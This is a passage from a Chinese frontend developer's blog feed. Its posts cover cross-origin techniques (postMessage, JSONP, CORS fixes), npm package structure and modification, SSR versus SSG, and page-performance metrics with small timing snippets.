<li><a href="https://developer.mozilla.org/zh-CN/docs/Glossary/CORS"  target="_blank" rel="noopener" >跨源资源共享 - MDN Web 文档术语表：Web 相关术语的定义 | MDN</a></li>
</ul>
<h3 id="postmessage">postMessage</h3>
<ul>
<li>语法: <code>otherWindow.postMessage(message, targetOrigin, [transfer]);</code></li>
<li>过程
<ol>
<li>获得对另一个窗口的引用（比如 targetWindow = window.opener）</li>
<li>在窗口上调用 targetWindow.postMessage() 方法分发一个 MessageEvent 消息</li>
<li>接收消息的窗口可以根据需要自由处理此事件。</li>
<li>传递给 window.postMessage() 的参数（比如 message）将通过消息事件对象暴露给接收消息的窗口。</li>
</ol>
</li>
<li>安全问题
<ul>
<li>如果你不希望从其他网站接收 message，请不要为 message 事件添加任何事件侦听器。</li>
<li>如果你确实希望从其他网站接收 message，请始终使用 origin 和 source 属性验证发件人的身份。当你使用 postMessage 将数据发送到其他窗口时，始终指定精确的目标 origin，而不是 *。</li>
<li>当你使用 postMessage 将数据发送到其他窗口时，始终指定精确的目标 origin，而不是 *。</li>
</ul>
</li>
<li>参考: <a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage"  target="_blank" rel="noopener" >window.postMessage - Web API | MDN</a></li>
</ul>
<h3 id="websocket">websocket</h3>
<p>wip</p>
<h3 id="jsonp">JSONP</h3>
<ul>
<li>服务端</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;/app/jsonp&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">responseData</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">data</span><span class="o">:</span> <span class="p">[{</span> <span class="nx">id</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Brian&#39;</span> <span class="p">},</span> <span class="p">{</span> <span class="nx">id</span><span class="o">:</span> <span class="mi">2</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Peter&#39;</span> <span class="p">}]</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">responseDataText</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">responseData</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="nx">res</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="s1">&#39;Content-Type&#39;</span><span class="p">,</span> <span class="s1">&#39;application/text&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="sb">`jsonpCallback(</span><span class="si">${</span><span class="nx">responseDataText</span><span class="si">}</span><span class="sb">)`</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">})</span>
</span></span></code></pre></div><ul>
<li>网页端</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="kd">function</span> <span class="nx">jsonpCallback</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;jsonp response&#39;</span><span class="p">,</span> <span class="nx">response</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 任何你想對 data 執行的動作
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="err">/script&gt;</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="nx">script</span> <span class="nx">type</span><span class="o">=</span><span class="s2">&#34;text/javascript&#34;</span> <span class="nx">src</span><span class="o">=</span><span class="s2">&#34;/app/jsonp&#34;</span><span class="o">&gt;&lt;</span><span class="err">/script&gt;</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="err">/body&gt;</span>
</span></span></code></pre></div><ul>
<li>参考: <a href="https://medium.com/@brianwu1201/jsonp-with-simple-example-4711e2a07443"  target="_blank" rel="noopener" >用 JSONP 跨域 GET 簡易示範 ＆ 說明. | by Brian Hao-Yu Wu | Medium</a></li>
</ul>
<hr>
<h2 id="实际遇到过的问题1">实际遇到过的问题1</h2>
<ul>
<li>描述:
一个页面里用到了三次同一个s3生成的signed url，一次是thumbnail，另一次是preview，第三次是在image的onload后使用fetch直接去获取s3的图片,我发现这里会使用缓存，显示是（memory cache）但这样的话它似乎就丢失了cors信息，就会报错<code>blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.</code></li>
<li>代码如下</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"></code></pre></div><ul>
<li>解决方法: 将出现的两个<code>&lt;img&gt;</code>的crossOrigin都设为&quot;anonymous&quot;</li>
<li>有效的原因
<ol>
<li><strong>跨域图像加载的缓存行为</strong>：通过设置<code>crossOrigin=&quot;anonymous&quot;</code>，浏览器明确地按照跨域请求来处理这个图像，确保它从服务器获取时遵循 CORS 规范，并且缓存下来的资源携带正确的 CORS 信息。</li>
<li><strong>避免重复跨域请求错误</strong>：由于图像是通过<code>&lt;img&gt;</code>标签加载且设置了 crossOrigin，接下来的 fetch 请求可以从缓存中获取具有正确 CORS 头的信息，避免了 CORS 错误。</li>
</ol>
</li>
<li>参考
<ul>
<li><a href="https://developer.chrome.com/docs/devtools/network/reference/?utm_source=devtools#provisional-headers"  target="_blank" rel="noopener" >provisional-headers</a></li>
<li><a href="https://stackoverflow.com/questions/57136480/fetching-an-image-from-s3-bucket-is-not-working-because-of-cors"  target="_blank" rel="noopener" >javascript - Fetching an image from S3 bucket is not working because of CORS - Stack Overflow</a></li>
</ul>
</li>
</ul>
<h2 id="实际遇到过的问题2">实际遇到过的问题2</h2>
<ul>
<li>描述:
a域名的页面，使用<code>&lt;script src=&quot;https://b.com/api&quot;&gt;</code>调用了<code>&quot;https://b.com/api&quot;</code>，这时<code>&quot;https://b.com/api&quot;</code>收不到对应的cookie。</li>
<li>解决方法:
<ol>
<li>a域名引入改为<code>&lt;script src=&quot;https://b.com/api&quot; crossorigin=&quot;use-credentials&quot;&gt;&lt;/script&gt;</code></li>
<li>b.com 的响应必须返回：<code>Access-Control-Allow-Origin: https://a.com</code>,<code>Access-Control-Allow-Credentials: true</code></li>
<li>Cookie 本身要配合 SameSite 设置,<code>SameSite=None; Secure</code></li>
<li>由于Safari 和 Firefox 的默认设置仍会拦截第三方 Cookie，所以在这些浏览器上，crossorigin=&ldquo;use-credentials&rdquo; 也无能为力。</li>
</ol>
</li>
</ul>
<hr>
<h2 id="参考-1">参考：</h2>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CORS"  target="_blank" rel="noopener" >跨源资源共享（CORS） - HTTP | MDN</a></li>
<li><a href="https://www.explainthis.io/zh-hans/swe/what-is-cors"  target="_blank" rel="noopener" >CORS 是什么? 为什么要有 CORS? ｜ExplainThis</a></li>
<li><a href="https://cloud.tencent.com/developer/article/2132990"  target="_blank" rel="noopener" >你是怎样解决跨域问题的?-面试必问-腾讯云开发者社区-腾讯云</a></li>
<li><a href="https://juejin.cn/post/7211687237020155961"  target="_blank" rel="noopener" >面试官：聊聊你知道的跨域解决方案 - 掘金</a></li>
<li><a href="https://juejin.cn/post/6844903767226351623"  target="_blank" rel="noopener" >九种跨域方式实现原理（完整版） - 掘金</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>npm包——从出生到死亡</title>
      <link>https://euds.org/2024/npm_from_born_to_death/</link>
      <pubDate>Thu, 03 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/npm_from_born_to_death/</guid>
      <description>生与死</description>
      <content:encoded><![CDATA[<h2 id="npm包的结构">npm包的结构</h2>
<h3 id="packagejson"><code>package.json</code></h3>
<ul>
<li>版本
<ul>
<li>每个版本号都形如：<code>1.2.3</code>，有三部分组成，依次叫主版本号、次版本号、修订号；
<ol>
<li>当新版本无法兼容基于前一版本的代码时，则提高主版本号；</li>
<li>当新版本新增了功能和特性，但仍兼容前一版本的代码时，则提高次版本号；</li>
<li>当新版本仅仅修正了漏洞或者增强了效率，仍然兼容前一版本代码，则提高修订号；</li>
</ol>
</li>
<li><code>^</code> 兼容某个大版本。如：<code>^1.1.2</code> ，表示&gt;=1.1.2 &lt;2.0.0</li>
<li><code>~</code> 兼容某个次版本。如：<code>~1.1.2</code>，表示&gt;=1.1.2 &lt;1.2.0</li>
</ul>
</li>
<li>依赖
<ol>
<li>dependencies 生产依赖</li>
<li>devDependencies 开发依赖
<ul>
<li>只开发应用，不对外开源的话，包随意放在dependencies或devDependencies是不影响</li>
</ul>
</li>
<li>peerDependencies 同版本的依赖
<ul>
<li>例如<code>vue</code>和<code>vuex</code></li>
</ul>
</li>
<li>bundledDependencies 捆绑依赖
<ul>
<li>依赖中使用到的，但尚未发布</li>
</ul>
</li>
<li>optionalDependencies 可选依赖
<ul>
<li>非必要不使用</li>
</ul>
</li>
</ol>
</li>
<li><code>files</code>
<ul>
<li>用于描述<code>npm publish</code>后推送到 npm 服务器的文件列表</li>
</ul>
</li>
</ul>
<h3 id="package-lockjson"><code>package-lock.json</code></h3>
<ul>
<li>定义每个包的具体版本，以及包之间的层叠关系</li>
<li>需要提交到git吗?
<ul>
<li>回答: 分情况
<ul>
<li><strong>内部的应用项目</strong>: 可以保证项目中成员、运维部署成员或者是 CI 系统, 在执行 npm install后, 在不同的节点能得到完全一致的依赖安装的内容，减少bug的出现;无需计算依赖版本范围，大部分场景下能大大加速依赖安装时间</li>
<li><strong>给外部环境用的库</strong>: 在不使用 package-lock.json的情况下，就可以复用主项目已经安装的包，减少依赖重复和体积</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="src或lib"><code>src</code>或<code>lib</code></h3>
<ul>
<li>src/: 包含项目的源代码。在开发过程中，所有的 TypeScript、JavaScript、CSS 等文件会放在这里。</li>
<li>lib/:
<ul>
<li>如果有此文件夹，通常是编译后的代码，生成的文件可以是 CommonJS、ES6 模块等</li>
<li>针对模块化代码的编译输出，保持了一些开发者友好的结构和格式。</li>
</ul>
</li>
</ul>
<h3 id="dist或build"><code>dist</code>或<code>build</code></h3>
<ul>
<li>这个文件夹包含了打包或编译后的代码，通常是在使用构建工具（如 Webpack、Rollup 等）之后生成的。这个文件夹里的代码是实际发布到 npm 上的。</li>
<li>经过优化和打包处理后的生产代码</li>
</ul>
<hr>
<h2 id="npm-install背后的过程">npm install背后的过程</h2>
<ul>
<li>依赖树的构建
<ol>
<li>首先会检查下项目中是否有 package-lock.json 文件</li>
<li>存在 lock 文件的话，会判断 lock 文件和 package.json 中使用的依赖版本是否一致</li>
<li>如果一致的话就使用 lock 中的信息，反之就会使用 package.json 中的信息</li>
<li>如果没有 lock 文件的话，就会直接使用 package.json 中的信息生成依赖树。</li>
</ol>
</li>
<li>参考
<ul>
<li><a href="https://juejin.cn/post/6844904022080667661"  target="_blank" rel="noopener" >前端工程化 - 剖析npm的包管理机制现如今，前端开发的同学已经离不开 npm 这个包管理工具，其优秀的包版本管理机制承 - 掘金</a></li>
</ul>
</li>
</ul>
<h2 id="修改">修改</h2>
<h3 id="方法一">方法一</h3>
<ul>
<li>直接修改对应模块的lib代码</li>
<li>缺点:
<ul>
<li>lib中都是编译过后的代码,阅读起来不够直观-</li>
</ul>
</li>
<li>进阶: 参见<a href="https://ds63.eu.org/2024/the-use-of-patch-package/"  target="_blank" rel="noopener" >patch-package使用 | EuDs&rsquo;s Blog</a></li>
</ul>
<h3 id="方法二">方法二</h3>
<ul>
<li>拷贝源文件后进行修改,再引用</li>
<li>缺点:
<ul>
<li>代码臃肿</li>
</ul>
</li>
</ul>
<h3 id="方法三">方法三</h3>
<ul>
<li>fork一份，自己维护</li>
<li>流程:
<blockquote>
<p>还是以elemnt-ui为例,可以在官方的开源代码中fork到自己的仓库中方便维护,然后clone到本地进行相关源代码的修改
使用 npm run dist即可打出对应lib
进行本地软连接, 在本地elemnt-ui项目中使用 npm link 或者 yarn link,
在需要的项目中使用npm linkelemnt-ui,此时就可以进行相关调试
在本地element项目中使用npm login npm publish 进行发包
在需要的项目中引入发布的包,不再使用elemnt官方包,修改packjson中的包版本之后npm unlink elemnt-ui npm install重新安装依赖</p>
</blockquote>
</li>
<li>缺陷
<ul>
<li>如果你修改的是个底层包，也就是说并不是你的应用代码中直接引用的，而是你引用的npm包A所依赖的，甚至可能同时被包B依赖的，这时就比较尴尬了，你不可能再去修改A和B的源码，那就太不值当了。</li>
</ul>
</li>
<li>进阶: 使用pnpm的别名(aliases)
<ul>
<li><code>pnpm add lodash@npm:awesome-lodash</code>: 发布了一个名为awesome-lodash的新包，并使用lodash作为别名来安装它</li>
</ul>
</li>
</ul>
<hr>
<h2 id="调试">调试</h2>
<hr>
<h2 id="发布">发布</h2>
<p>wip</p>
<hr>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://juejin.cn/post/7137110113277444126"  target="_blank" rel="noopener" >详解package.json和package-lock.json - 掘金</a></li>
<li><a href="https://czkm.github.io/2023/11/13/%E5%BC%80%E6%BA%90%E7%BB%84%E4%BB%B6%E7%9A%84%E5%AE%9A%E5%88%B6%E5%8C%96%E4%BF%AE%E6%94%B9%E5%8F%8A%E4%BC%98%E5%8C%96%E8%BF%87%E7%A8%8B%E8%AE%B0%E5%BD%95/"  target="_blank" rel="noopener" >开源组件的定制化修改及优化过程记录 - 橙汁坤的博客 | czkm Blog</a></li>
<li><a href="https://www.npmjs.cn/cli/link/"  target="_blank" rel="noopener" >link | npm中文文档 | npm中文网</a></li>
<li><a href="https://mengshang918.github.io/blog/docs/%E5%B7%A5%E7%A8%8B%E5%8C%96/%E4%BE%9D%E8%B5%96%E7%AE%A1%E7%90%86/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98/5465da474f6f60291fb1a253cce06f5f/"  target="_blank" rel="noopener" >如何调试node_modules中的包 | 梦殇918</a></li>
<li>[<a href="https://www.bilibili.com/read/cv16917711/"  target="_blank" rel="noopener" >Mentor让我调试npm包 我偷偷搬了一下午代码。。。 - 哔哩哔哩</a>](<a href="https://www.bilibili.com/read/cv16917711/"  target="_blank" rel="noopener" >https://www.bilibili.com/read/cv16917711/</a>)</li>
<li><a href="https://stackoverflow.com/questions/6341088/how-can-i-debug-node-modules"  target="_blank" rel="noopener" >debugging - How can I debug node modules? - Stack Overflow</a></li>
<li><a href="https://juejin.cn/post/7033400734746066957"  target="_blank" rel="noopener" >【一库】yalc: 可能是最好的前端link调试方案（已经非常谦虚了） - 掘金</a></li>
<li><a href="https://juejin.cn/post/7275590449736597544?from=search-suggest"  target="_blank" rel="noopener" >爬坑node_modules经验分享 - 掘金</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>初识ssr</title>
      <link>https://euds.org/2024/the_first_take_of_ssr/</link>
      <pubDate>Wed, 02 Oct 2024 23:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/the_first_take_of_ssr/</guid>
      <description>你有多爱它，就有多恨它</description>
      <content:encoded><![CDATA[<h2 id="ssr和ssg的区别">ssr和ssg的区别</h2>
<h3 id="ssrserver-side-rendering">SSR（Server-Side Rendering）</h3>
<ul>
<li><strong>运行时生成页面</strong>：在用户请求页面时，服务器会动态地生成 HTML 文件并将其发送给客户端。内容在每次请求时<strong>都会</strong>在服务器端生成，因此适合需要频繁更新数据的页面。</li>
<li>过程:
<ol>
<li>用户请求页面</li>
<li>服务器端渲染：
<ul>
<li>服务器会从数据库或 API 获取需要的数据。</li>
<li>使用 JavaScript 运行框架（如 React、Vue）的组件，在服务器端生成 HTML 页面，并将获取的数据填充到模板中。</li>
</ul>
</li>
<li>返回 HTML 页面：服务器将渲染完成的 HTML 页面发送回客户端。页面加载后，用户可以立即看到内容，而无需等待所有 JavaScript 加载完成。</li>
<li>客户端水合（Hydration）：
<ul>
<li>在客户端，浏览器会下载并执行页面相关的 JavaScript。</li>
<li>前端框架接管页面，将其转变为可交互的应用，类似单页应用（SPA）的行为。</li>
</ul>
</li>
<li>进一步交互：当用户进行进一步的操作（如点击、导航等），客户端代码可以通过 API 进行数据请求和局部更新，而无需刷新整个页面。</li>
</ol>
</li>
</ul>
<h3 id="ssgstatic-site-generation">SSG（Static Site Generation）</h3>
<ul>
<li><strong>构建时生成页面</strong>：在<strong>构建阶段</strong>提前生成静态 HTML 文件，并将这些文件直接部署在 CDN 或服务器上，所有用户访问时都获取相同的静态页面。</li>
<li><strong>优点</strong>：
<ul>
<li><strong>性能极佳</strong>：静态文件可以通过 CDN 高效分发，用户的页面加载速度非常快。</li>
<li><strong>稳定性高</strong>：不需要实时依赖服务器，即使服务器出现问题，静态页面依然可以访问。</li>
<li><strong>SEO 友好</strong>：和 SSR 类似，静态 HTML 可以被搜索引擎很好地索引。</li>
</ul>
</li>
<li><strong>缺点</strong>：
<ul>
<li><strong>实时性差</strong>：由于内容在构建时生成，页面的数据更新不及时，适合更新频率较低的内容（如博客、文档等）。</li>
<li><strong>构建时间长</strong>：对于大型网站，构建所有静态页面可能需要较长的时间。</li>
</ul>
</li>
</ul>
<hr>
<h2 id="优势">优势</h2>
<ol>
<li>SEO和SMO(Social Media Optimization)</li>
<li>First meaningful paint(首屏渲染)</li>
<li>Graceful degradation（支持不支持或没有开启javascript功能浏览器）</li>
<li>实时性强：适合频繁更新内容的应用（如社交媒体、新闻网站等），因为每次请求都会生成最新的数据。</li>
</ol>
<hr>
<h2 id="劣势">劣势</h2>
<ul>
<li>额外的开发和维护成本，需要额外考虑以下几点
<ol>
<li>有没有全局mutable data，可能导致内存泄露</li>
<li>有没有在SSR可能执行的代码中使用server没有而client端存在的api</li>
<li>第三方库是否需要在server端重新配置</li>
</ol>
</li>
<li>服务端的开发</li>
<li>更多的服务端负载</li>
</ul>
<hr>
<h2 id="为什么会难开发">为什么会难开发</h2>
<ul>
<li>执行环境不同
<ul>
<li>BOM(window…), DOM(document…), Ajax(XMLHttp​Request, fetch…), Web Workers…等属于浏览器环境的对象在node server环境下并不work</li>
</ul>
</li>
<li>“执行上下文”不同</li>
</ul>
<hr>
<h2 id="做了ssr但首屏渲染时间还是很长">做了ssr，但首屏渲染时间还是很长</h2>
<ol>
<li>有没有做Time to the First Byte，如果渲染该页面依赖后端耗时的计算和请求时间，那么可以考虑使用Streaming Server-Side Rendering</li>
<li>有没有阻塞性请求、有没有重定向请求</li>
<li>服务有没有靠近用户，由于SSR需要动态服务，不能CDN部署，可能在一些国家或地区的政策影响下，服务只能部署在A地，但用户却在B地</li>
</ol>
<hr>
<h2 id="优化方案">优化方案</h2>
<ol>
<li>Streaming SSR（流式渲染）：
<ul>
<li>通过流式传输内容来加速首屏渲染，服务器生成的 HTML 可以一部分一部分地传输给客户端，缩短等待时间。</li>
<li>React 18 中引入了 Suspense 和 React.lazy() 支持流式渲染。</li>
</ul>
</li>
<li>Partial Hydration（部分水合）：
<ul>
<li>不是一次性水合整个页面，而是逐步水合页面上的不同组件，减少初始 JavaScript 体积，加快交互速度。</li>
</ul>
</li>
<li>预渲染与动态渲染结合：
<ul>
<li>可以为某些页面提前生成静态 HTML 文件（SSG），而为需要实时数据的页面使用 SSR。</li>
</ul>
</li>
</ol>
<hr>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://chi.miantiao.me/posts/vite-ssr-docker-image-minimal-build/"  target="_blank" rel="noopener" >Vite SSR 项目 Docker 镜像最小化打包方案 | 面条实验室</a></li>
<li><a href="https://medium.com/@keshidong.dev/%E5%85%B3%E4%BA%8Espa%E7%9A%84seo%E4%BC%98%E5%8C%96%E6%96%B9%E6%A1%88-2639a63361ad"  target="_blank" rel="noopener" >关于SPA的SEO解决方案. 为什么SPA需要SEO优化 | by shidong ke | Medium</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>性能优化二三事</title>
      <link>https://euds.org/2024/points_of_performance_optimization/</link>
      <pubDate>Mon, 30 Sep 2024 23:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/points_of_performance_optimization/</guid>
      <description>更快，更快，更快！</description>
      <content:encoded><![CDATA[<h2 id="windowperformance">window.performance</h2>
<h3 id="memory">memory</h3>
<ol>
<li>jsHeapSizeLimit (表示当前页面最多可以获得的 JavaScript 堆大小)</li>
<li>totalJSHeapSize (表示当前页面已经分配的 JavaScript 堆大小)</li>
<li>usedJSHeapSize (表示当前页面 JavaScript 已经使用的堆大小)</li>
</ol>
<h3 id="navigation">navigation</h3>
<ol>
<li>redirectCount，重定向的数量，经过多少次重定向进入这个页面</li>
<li>type，进入页面的方式
<ul>
<li>0，正常进入非刷新，非重定向</li>
<li>1，通过刷新的方式进入</li>
<li>2，通过前进回退按钮进入</li>
<li>255，非是上述情况</li>
</ul>
</li>
</ol>
<h3 id="performancenavigationtiming">PerformanceNavigationTiming</h3>
<ul>
<li>
  <img loading="lazy" src="https://mdn.github.io/shared-assets/images/diagrams/api/performance/timestamp-diagram.svg" alt="PerformanceNavigationTiming"  /></li>
<li>顺序
<ol>
<li>页面卸载部分
<ul>
<li>卸载：navigationStart、unloadEventStart、unloadEventEnd</li>
</ul>
</li>
<li>网络部分
<ul>
<li>跳转：redirectStart、redirectEnd</li>
<li>请求文档：fetchStart</li>
<li>DNS查询：domainLookupStart、domainLookupEnd</li>
<li>连接建立：connectStart、connectEnd</li>
<li>请求：requestStart、responseStart、responseEnd</li>
</ul>
</li>
<li>页面解析部分
<ul>
<li>解析dom：domLoading、domInteractive</li>
<li>资源加载，dom渲染：domContentLoadedEventStart、domContentLoadedEventEnd、domComplete</li>
</ul>
</li>
</ol>
</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/PerformanceNavigationTiming"  target="_blank" rel="noopener" >PerformanceNavigationTiming - Web APIs | MDN</a></li>
<li><a href="https://juejin.cn/post/7223280402475089978"  target="_blank" rel="noopener" >来来来，前端性能监控，带你拿到正确的性能指标作为前端开发，我们有必要关注我们各个客户端的性能指标，比如白屏时间，最早可交 - 掘金</a></li>
</ul>
<hr>
<h2 id="指标">指标</h2>
<h3 id="首次内容绘制first-contentful-paint">首次内容绘制(First Contentful Paint)</h3>
<ul>
<li>定义
<ul>
<li>浏览器从响应用户输入网络地址，到浏览器呈现第一段 DOM 内容所需的时间</li>
<li>首屏时间 = 首屏内容渲染结束时间点 - 开始请求的时间点</li>
<li>performance.getEntries(&lsquo;paint&rsquo;).filter(entry =&gt; entry.name == &lsquo;first-contentful-paint&rsquo;)[0].startTime;</li>
</ul>
</li>
<li>优化
<ol>
<li>缩短距离: cdn</li>
<li>减少首次加载需要请求的内容
<ul>
<li>动态加载: 使用 import() 或 React.lazy() 在路由或组件级别进行模块拆分</li>
<li>懒加载: <code>intersectionObserver</code></li>
</ul>
</li>
</ol>
</li>
</ul>
<h3 id="最大内容渲染时间lcp-largest-contentful-paint">最大内容渲染时间(LCP Largest Contentful Paint)</h3>
<ul>
<li>定义
<ul>
<li>指代页面中最大的内容完成绘制的时间。</li>
</ul>
</li>
</ul>
<h3 id="ttfb">TTFB</h3>
<ul>
<li>定义
<ul>
<li>指代从资源的请求到响应第一个字节的时间跨度。</li>
<li>responseStart - navigationStart</li>
</ul>
</li>
<li>影响因素
<ul>
<li>重定向时延，DNS查询时延，链接建立延迟，请求响应时延</li>
</ul>
</li>
</ul>
<h3 id="可交互时间time-to-interactive">可交互时间(Time to Interactive)</h3>
<ul>
<li>定义
<ul>
<li>页面完全交互所需的时间</li>
</ul>
</li>
<li>优化
<ul>
<li>把长任务拆分为较小的任务（使用 requestAnimationFrame 或 requestIdleCallback），或者选择在主线程之外（如Web Workers）运行 JavaScript</li>
</ul>
</li>
</ul>
<h3 id="dcl-domcontentloaded">DCL (DOMContentLoaded)</h3>
<ul>
<li>定义
<ul>
<li>当HTML 文档被完全加载和解析完成之后，DOMContentLoaded 事件被触发，无需等待样式，图像和子框架的完成加载的时间。</li>
</ul>
</li>
<li>计算</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nb">document</span><span class="p">.</span><span class="nx">addeventListener</span><span class="p">(</span><span class="s1">&#39;DOMContentLoaded&#39;</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="o">+</span><span class="k">new</span> <span class="nb">Date</span><span class="p">()</span> <span class="o">-</span> <span class="nb">window</span><span class="p">.</span><span class="nx">performanceObser</span><span class="p">.</span><span class="nx">timing</span><span class="p">.</span><span class="nx">navigationStart</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="kc">false</span><span class="p">);</span>
</span></span></code></pre></div><h3 id="total-blocking-time">(Total Blocking Time)</h3>
<h3 id="cumulative-layout-shift">(Cumulative Layout Shift)</h3>
<h3 id="白屏时间">白屏时间</h3>
<ul>
<li>从用户开始请求页面时开始计算到开始显示内容结束，中间过程包括DNS查询、建立TCP链接、发送首个HTTP请求、返回HTML文档、HTML文档head解析完毕。</li>
<li>计算:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;en&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&#34;UTF-8&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">name</span><span class="o">=</span><span class="s">&#34;viewport&#34;</span> <span class="na">content</span><span class="o">=</span><span class="s">&#34;width=device-width, initial-scale=1.0&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>白屏时间计算-常规方法<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">window</span><span class="p">.</span><span class="nx">pageStartTime</span> <span class="o">=</span> <span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;stylesheet&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-assets/ionicons/2.0.1/css/ionicons.min.css~tplv-t2oaga2asx-image.image&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;stylesheet&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-assets/asset/fw-icon/1.0.9/iconfont.css~tplv-t2oaga2asx-image.image&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">window</span><span class="p">.</span><span class="nx">firstPaint</span> <span class="o">=</span> <span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`白屏时间：</span><span class="si">${</span><span class="nb">window</span><span class="p">.</span><span class="nx">firstPaint</span> <span class="o">-</span> <span class="nb">window</span><span class="p">.</span><span class="nx">pageStartTime</span><span class="si">}</span><span class="sb">`</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>这是常规计算白屏时间的示例页面<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span></code></pre></div></li>
<li>白屏时间 = window.firstPaint - window.pageStartTime</li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
